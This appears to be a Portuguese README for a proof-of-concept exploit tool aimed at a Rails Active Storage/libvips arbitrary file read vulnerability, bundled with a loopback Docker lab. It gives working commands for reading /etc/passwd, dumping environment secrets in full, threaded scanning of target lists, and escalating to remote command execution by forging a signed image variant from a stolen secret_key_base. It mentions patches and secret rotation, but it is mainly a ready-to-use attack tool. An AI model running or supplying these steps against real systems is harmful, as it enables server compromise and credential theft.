
PoC de arquivo único para Rails CVE-2026-66066: leitura arbitrária de arquivos, recuperação de segredos, varredura com threads e RCE condicional por meio de variações de imagem assinadas.
Uma prova de conceito de arquivo único, sem dependências, e um laboratório Docker somente em loopback para a vulnerabilidade de leitura arbitrária de arquivos do Active Storage/libvips do Rails. Ela também demonstra a escalada condicional descrita no advisory, a partir de um secret_key_base recuperado, até uma variação de imagem forjada e execução de comandos.
Referências principais: Advisory do Rails, Análise forense do Rails, o artigo técnico da Ethiack e o lançamento 8.1.3.1.
https://github.com/user-attachments/assets/fdcb5651-c1d1-4bc4-b322-8f1205b09635
kr2s.py contém o cliente completo em um único arquivo:
h5py ou numpy;A ferramenta não instala pacotes, não inicia um listener de callback, não exige curl no alvo e não depende de make. O estágio de RCE usa a rota de representação integrada do Active Storage e não requer um gadget Marshal.
Inicie o laboratório vulnerável:
cd lab
RAILS_VERSION=8.1.3 docker compose up --build
A porta do Compose está vinculada a 127.0.0.1 e o contêiner roda como um usuário sem privilégios, com todas as capabilities Linux removidas.
Em outro terminal:
# Intrusive: uploads a blob, then confirms /etc/hostname is readable.
python3 kr2s.py check http://127.0.0.1:3000
# Recover a fixed-size prefix. Binary output goes to stdout unless -o is used.
python3 kr2s.py read http://127.0.0.1:3000 /etc/passwd --size 4096
python3 kr2s.py read http://127.0.0.1:3000 /etc/passwd -o passwd.bin
# Recover selected environment secrets. Values are redacted by default.
python3 kr2s.py secrets http://127.0.0.1:3000
# Display complete matched environment values for authorized analysis.
python3 kr2s.py secrets http://127.0.0.1:3000 --show-full
# Passive preflight of one target or a file containing one target per line.
python3 kr2s.py scan http://127.0.0.1:3000
python3 kr2s.py scan targets.txt --threads 10 --json scan.json
# Intrusively confirm file read on every target in the list.
python3 kr2s.py scan targets.txt --active
# Probe selected libvips loaders.
python3 kr2s.py probe http://127.0.0.1:3000
# Conditional escalation. This executes the supplied command.
python3 kr2s.py rce http://127.0.0.1:3000 "id; uname -a"
Execute python3 kr2s.py COMMAND --help para ver todas as opções. Controles comuns em aplicações reais incluem --harvest-url, --show-path, --proxy, --insecure e --skb.
secrets --show-full imprime os valores completos das variáveis de ambiente correspondentes. Sem essa opção, a ferramenta imprime apenas os primeiros 12 caracteres e uma reticência. Arquivos solicitados com --also-read, incluindo os caminhos padrão de credenciais do Rails, são impressos em até 600 caracteres quando legíveis.
A varredura passiva scan apenas informa se a página expõe uma representação Active Storage coletável; ela não consegue identificar o nível de patch do Rails instalado. scan --active envia um blob malicioso e tenta a leitura canário. Um resultado ativo com falha é rotulado como BLOCKED_OR_INCONCLUSIVE, não SAFE, porque WAFs, autenticação, variações não suportadas e a correção do Rails podem parecer idênticos de fora da aplicação.
Pare o laboratório com:
cd lab
docker compose down
image/png.matload do libvips; os bytes do arquivo-alvo se tornam pixels da imagem e são retornados em um PNG gerado.O arquivo híbrido satisfaz dois parsers ao mesmo tempo: seu texto começa com MATLAB 5.0, enquanto a palavra de versão no offset 124 seleciona o caminho MATLAB 7.3 baseado em HDF5. A correção do Rails bloqueia operações do libvips marcadas como não confiáveis antes que um arquivo controlado pelo atacante possa chegar a matload.
rce primeiro lê SECRET_KEY_BASE de /proc/self/environ, a menos que --skb seja fornecido. Ele deriva a chave do verificador do Active Storage e assina uma variação JSON contendo uma operação instance_eval. No caminho vips afetado, a operação chega a Vips::Image.public_send. O PoC a envia pela rota de representação integrada, executa o comando fornecido via /bin/sh e captura os dois fluxos de saída.
Este segundo estágio é condicional à recuperação do segredo de assinatura e ao alcance do comportamento vulnerável de transformação do vips descrito na análise da Ethiack sobre CVE-2025-24293. O patch do CVE-2026-66066 fecha o ponto de entrada da leitura de arquivos; ele não é uma correção geral para segredos de assinatura vazados anteriormente. Rotacione os segredos após suspeita de exposição, conforme recomenda o advisory do Rails.
A saída do comando é gravada em um arquivo aleatório /tmp/.kr2s_*, recuperada através da mesma primitiva de leitura de arquivos e então removida com um segundo payload assinado.
As leituras retornam a região de tamanho fixo solicitada. Se a origem for mais curta, seu prefixo é seguido por bytes zero. Use --offset para regiões subsequentes.
A variação padrão do laboratório apenas converte para PNG, então a recuperação é byte a byte exata. Aplicações reais podem redimensionar variantes. O modo de chave coletada usa uma coluna de um pixel para evitar reamostragem horizontal, mas uma variação com altura menor ainda pode alterar a geometria. Nesse caso, o cliente falha explicitamente; reduza --size ou colete uma representação que não redimensione.
Cada comando é intrusivo: ele cria blobs persistentes do Active Storage e pode criar variantes processadas. rce adicionalmente executa o comando fornecido.
O script da matriz compila cada versão, executa verificações reais de leitura e RCE nas versões vulneráveis, confirma que as leituras são bloqueadas nas versões corrigidas e retorna um código diferente de zero em qualquer incompatibilidade:
./lab/matrix.sh
./lab/matrix.sh 8.1.3
./lab/matrix.sh 8.1.3.1:PATCHED
Validado em 2026-07-31 com Ruby 3.4.10, image_processing 1.14.0, ruby-vips 2.3.0 e libvips 8.16.1: